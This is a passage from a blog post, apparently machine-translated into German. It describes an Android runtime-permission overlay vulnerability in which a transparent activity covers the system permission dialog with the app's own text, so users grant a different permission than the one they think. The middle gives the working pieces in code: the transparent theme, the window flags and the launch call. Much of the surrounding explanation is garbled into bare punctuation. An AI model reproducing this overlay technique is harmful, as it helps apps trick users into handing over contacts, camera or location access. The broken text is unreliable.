Hallo, ich heiße Vitaly.
Ich bin 25 Jahre alt und habe an der Staatlichen Elektrotechnischen Universität St. Petersburg "LETI" in meiner Heimatstadt studiert. Ich programmiere seit 10 Jahren, von denen ich 4 für Android geschrieben habe. Der Autor vieler Homebrew-Programme, bekannt als VITTACH, für die Sony PlayStation Portable (PSP) .
Heute möchte ich mit Ihnen das Problem der Sicherheit mobiler Anwendungen diskutieren. Die Entwickler von Google verbessern Android ständig und finden und beheben Schwachstellen mithilfe einer großen Community, die dank des Android Security Rewards- Programms , über das wir später sprechen werden, zusammengetragen wurde. Trotzdem bleiben Probleme bestehen, und es ist unsere gemeinsame Aufgabe als Gemeinschaft, sie zu melden, damit sie rechtzeitig behoben werden.
Die Sicherheitslücke, von der ich spreche, gehört zu der Klasse mit der Priorität: P2 und Schweregrad: S2 , die laut Tabelle im weitesten Sinne bedeutet:
Ein Problem, das innerhalb eines angemessenen Zeitrahmens gelöst werden muss.
Ein Problem, das für einen großen Prozentsatz der Benutzer wichtig ist und mit der Kernfunktionalität zusammenhängt.
Laufzeiterlaubnis
Der Artikel konzentriert sich auf etwas, das allen Entwicklern als Laufzeitberechtigung bekannt ist, nämlich die Möglichkeit, den Endbenutzer irrezuführen, indem das Berechtigungsdialogfeld mit seinem eigenen Text und Symbol über dem System demonstriert wird. Es ist leicht zu erraten, dass ein solcher Ansatz es Entwicklern ermöglichen würde, den Benutzer um Erlaubnis zu bitten, beispielsweise für das Dateisystem, und tatsächlich Zugriff auf Geolocation, Kamera oder etwas anderes zu gewähren.
Es ist unmöglich
Eine ähnliche Frage wurde mehr als einmal in speziellen Foren gestellt, insbesondere in StackOverflow . Die einzig richtige Antwort war, dass es unmöglich war. Und das ist wirklich so: Es ist unmöglich, den Text im Systemdialog selbst zu ersetzen, aber es ist möglich, ihn durch Ihren eigenen zu überschreiben.
Was ist unter der Haube
Runtime Permission Android 6.0
dangerous-. , . dangerous .
Dangerous permissions
android.permission_group.CALENDAR
android.permission.READ_CALENDAR
android.permission.WRITE_CALENDAR
android.permission_group.CAMERA
android.permission.CAMERA
android.permission_group.CONTACTS
android.permission.READ_CONTACTS
android.permission.WRITE_CONTACTS
android.permission.GET_ACCOUNTS
android.permission_group.LOCATION
android.permission.ACCESSFINELOCATION
android.permission.ACCESSCOARSELOCATION
android.permission_group.MICROPHONE
android.permission.RECORD_AUDIO
android.permission_group.PHONE
android.permission.READPHONESTATE
android.permission.CALL_PHONE
android.permission.READCALLLOG
android.permission.WRITECALLLOG
android.permission.ADD_VOICEMAIL
android.permission.USE_SIP
android.permission.PROCESSOUTGOINGCALLS
android.permission_group.SENSORS
android.permission.BODY_SENSORS
android.permission_group.SMS
android.permission.SEND_SMS
android.permission.RECEIVE_SMS
android.permission.READ_SMS
android.permission.RECEIVEWAPPUSH
android.permission.RECEIVE_MMS
android.permission.READCELLBROADCASTS
android.permission_group.STORAGE
android.permission.READEXTERNALSTORAGE
android.permission.WRITEEXTERNALSTORAGE
Android GrantPermissionsActivity, .
ActivityCompat.requestPermissions(
MainActivity.this,
arrayOf(Manifest.permission.READ_CONTACTS),
PERMISSION_REQUEST_CODE
)
Activity, UI , Activity, .
:
Activity android:windowIsTranslucent=true
( Activity , , ) Activity , . Activity Activity .
– Activity , – Activity . Activity, ?
, , , , . , :
Activity , onResume
onPause
. Activity.
, Activity , . – !
,
Kotlin
,
<style name="Theme.Transparent" parent="AppTheme"> <item name="android:windowBackground">@android:color/transparent</item> <item name="android:windowIsTranslucent">true</item> </style>
Activity
... <activity android:name=".PermissionActivity" android:theme="@style/Theme.Transparent">
PermissionActivity layout
onCreate :
window.addFlags( FLAG_NOT_FOCUSABLE or FLAG_NOT_TOUCH_MODAL or FLAG_NOT_TOUCHABLE )
:
FLAG_NOT_FOCUSABLE
: window,FLAG_NOT_FOCUSABLE
, ;
FLAG_NOT_TOUCH_MODAL
: , , , ;
FLAG_NOT_TOUCHABLE
: .
MainActivity
ActivityCompat.requestPermissions( MainActivity.this, arrayOf(Manifest.permission.READ_CONTACTS), REQUEST_CODE )
MainActivity : PermissionActivity.
startActivity(Intent(this, PermissionActivity::class.java))
PermissionActivity Activity . !
Android >= 7.1.1
Runtime Permission Android 6.0
, 7.1.1
, .. Android
.
Android 6.0
, . , Google .
Android Rewards Program
Ich habe einen Antrag eingereicht und alle Erklärungs- und Demonstrationsdokumente zu dieser Sicherheitsanfälligkeit beigefügt. Im Moment wird der Antrag geprüft, daher kann ich die Details nicht preisgeben, da ich die entsprechende Vereinbarung unterzeichnet habe.
Wie ist es einfacher?
Um die Sicherheitsanfälligkeit auszunutzen, habe ich eine Bibliothek geschrieben